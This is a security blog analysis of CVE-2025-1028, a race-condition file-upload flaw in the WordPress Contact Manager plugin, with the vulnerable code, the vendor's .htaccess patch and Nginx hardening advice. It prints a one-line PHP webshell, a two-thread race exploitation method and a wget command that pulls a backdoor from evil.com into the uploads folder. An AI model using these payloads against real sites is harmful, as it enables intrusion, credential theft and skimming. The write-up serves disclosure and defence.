CVE-2025-1028

Race to the Bottom: RCE in WordPress Contact Manager via Race Condition

Alon Barad
Alon Barad
Software Engineer

Jan 10, 2026·7 min read

Executive Summary (TL;DR)

The Contact Manager plugin allows unauthenticated users to upload files. It checks extensions loosely (only the last one matters) and stores files in a public temporary directory before deleting them. By uploading a file named `shell.php.jpg` and winning a race condition against the deletion process, attackers can execute PHP code. The official patch relies on `.htaccess`, leaving Nginx servers potentially vulnerable.

A high-severity Unauthenticated Arbitrary File Upload vulnerability in the WordPress Contact Manager plugin allows attackers to achieve Remote Code Execution (RCE). The flaw relies on a weak file extension check combined with a race condition during temporary file handling.

The Hook: Temporary Files, Permanent Problems

In the world of web security, "temporary" is a trigger word. It usually implies that data is being placed somewhere it shouldn't be, just for a moment, with the promise that it will be cleaned up later. But in the asynchronous, chaotic environment of the web, "later" is often an eternity. CVE-2025-1028 in the Contact Manager WordPress plugin is a textbook example of this hubris.

Here is the setup: You have a contact form. You want users to attach screenshots or documents. So, the developer decides to accept the file, save it to a folder named /temp inside the public web root, and then attach it to an email or process it. Once done, the script deletes the file. Sounds clean, right?

Wrong. This architecture introduces a classic Time-of-Check to Time-of-Use (TOCTOU) style race condition. Between the moment the file touches the disk and the moment unlink() wipes it away, that file is live, public, and—if you know the filename—executable. This vulnerability isn't just about bad validation; it's about a fundamental misunderstanding of how dangerous the filesystem is when exposed to the web.

The Flaw: A Double-Barreled Shotgun

The vulnerability relies on two distinct failures working in harmony. First, we have the Extension Validation Failure. The plugin attempts to sanitize uploads by checking if the file extension is on a blocklist (a "deny list" approach, which is already a bad idea compared to an "allow list").

The logic uses strrchr($filename, '.') to grab the extension. This function finds the last occurrence of a dot. So, if I upload exploit.php.jpg, the plugin sees .jpg. Since .jpg isn't in the blocklist, the gate opens. The web server, however (specifically Apache with certain AddHandler or Action configurations), might see things differently. It might process the .php part if it sees it before the .jpg, or if the server is configured to handle multiple extensions.

Second, we have the Race Condition. Even if the file is malicious, the script deletes it at the end of execution. But PHP scripts take time to run—milliseconds, sometimes seconds if the server is under load or sending emails. During that window, the file exists at /wp-content/uploads/temp/exploit.php.jpg. If an attacker can request that URL after the upload finishes but before the deletion occurs, the server executes the code. It is a game of speed, and automated scripts are very, very fast.

The Code: Anatomy of a Disaster

Let's look at the vulnerable code in includes/add-message.php (v8.6.4). It is almost beautiful in its naivety.

// The setup: Make a public folder
$folder = $upload_dir['basedir'].'/temp';
 
foreach ($_FILES as $key => $value) {
    // THE BUG: Grab everything after the LAST dot
    $extension = strtolower(substr(strrchr($value['name'], '.'), 1));
    
    // Check against a weak deny-list
    if (!in_array($extension, $unauthorized_extensions)) {
        // Move file to public directory
        $file = $folder.'/'.wp_unique_filename($folder, basename($value['name']));
        move_uploaded_file($value['tmp_name'], $file);
        $files[] = $file; 
    } 
}
 
// ... script does other work ...
 
// The cleanup: Too little, too late
foreach ($files as $file) { 
    chmod($file, 0777); 
    unlink($file); 
}

The move_uploaded_file happens immediately. The unlink happens at the very end. Everything in between is the "Exploit Window."

Now, look at the fix in version 8.6.5. Did they rewrite the logic to store files outside the web root? Did they implement strict allow-listing? No. They applied a band-aid:

// The Fix (v8.6.5)
file_put_contents($folder.'/.htaccess',
'Options -Indexes
<FilesMatch "\.php$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "\.(cgi|pl|py|sh)$">
Order Allow,Deny
Deny from all
</FilesMatch>');

They drop an .htaccess file into the temp folder to forbid PHP execution. This is critical: If you are running Nginx, IIS, or Caddy, this patch does absolutely nothing for you unless you translate those rules manually. The logic remains broken; they just put a "Do Not Enter" sign on the door that only Apache reads.

The Exploit: Winning the Race

To exploit this, we don't need authentication. We just need to fire requests rapidly. This is a classic race condition scenario where we flood the server with upload requests and execution requests simultaneously.

The Attack Chain:

  1. Payload Creation: Create a file named pwn.php.jpg. The content is simple: <?php system($_GET['c']); ?>.
  2. The Sprinter (Uploader): Start a thread that repeatedly POSTs this file to the contact form endpoint.
  3. The Observer (Executor): Start a second thread that repeatedly GETs /wp-content/uploads/temp/pwn.php.jpg?c=id.

Because wp_unique_filename is used, the filename might change slightly if we upload too fast (e.g., pwn.php-1.jpg), so the attacker needs to either predict the incrementing counter or clean up the upload cadence.

Here is how the race looks visually:

If the server is configured to execute PHP inside files ending in .php.jpg (common in older configurations allowing multiple extensions), the code runs. If the server is strict and only executes files ending in exactly .php, the attacker might need to rely on a different misconfiguration or just use the race condition to serve malicious static content (XSS/Phishing) from a trusted domain.

The Impact: Total Compromise

Since this is an RCE vulnerability running as the web server user (usually www-data), the impact is catastrophic. The temporary directory becomes a launchpad.

Once the attacker wins the race once, they don't need to keep racing. The first command they execute will likely be: wget https://evil.com/persistent-shell.php -O /var/www/html/wp-content/uploads/backdoor.php

Now they have a permanent backdoor outside the temporary directory. From there, they can:

  • Read wp-config.php: Steal database credentials.
  • Modify Theme Files: Inject JavaScript skimers (Magecart style) to steal credit card info from users.
  • Lateral Movement: Attack other sites hosted on the same server if isolation is poor.
  • Botnet Recruitment: Turn the server into a spam relay or DDoS node.

The CVSS score is 8.1, but in terms of practical impact, an unauthenticated RCE is effectively a 10.0 for the site owner.

The Fix: Patching and Hardening

The vendor patched this in version 8.6.5 by adding an .htaccess file. If you are on Apache, updating the plugin is likely sufficient to stop the RCE, though the file upload itself is still technically possible (just not executable).

However, if you are using Nginx:

You are NOT protected by the official patch. You must manually block PHP execution in the uploads folder. Add this to your Nginx server block configuration:

location ~* ^/wp-content/uploads/temp/.*\.(php|pl|py|jsp|asp|sh|cgi)$ {
    deny all;
    return 403;
}

Better yet, block execution in the entire uploads folder:

location ~* ^/wp-content/uploads/.*\.php$ {
    deny all;
}

For Developers: Never rely on unlink to clean up dangerous files in a public directory. Store temporary uploads outside the web root (/tmp/ exists for a reason!) or use a randomized, non-guessable directory name with strict permissions (0700). Validation should always be on an Allow List basis (e.g., if ($ext !== 'jpg') die();), not a block list.

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
1.62%
Top 19% most exploited

Affected Systems

WordPress Contact Manager Plugin <= 8.6.4

Affected Versions Detail

Product
Affected Versions
Fixed Version
Contact Manager
WordPress Plugin Repository
<= 8.6.48.6.5
AttributeDetail
CWE IDCWE-434
Attack VectorNetwork
CVSS8.1 (High)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
PlatformWordPress
CWE-434
Unrestricted Upload of File with Dangerous Type

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Vulnerability Timeline

Vulnerability Disclosed by Wordfence
2025-02-04
CVE-2025-1028 Published
2025-02-05
Patch Released (v8.6.5)
2025-02-05

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.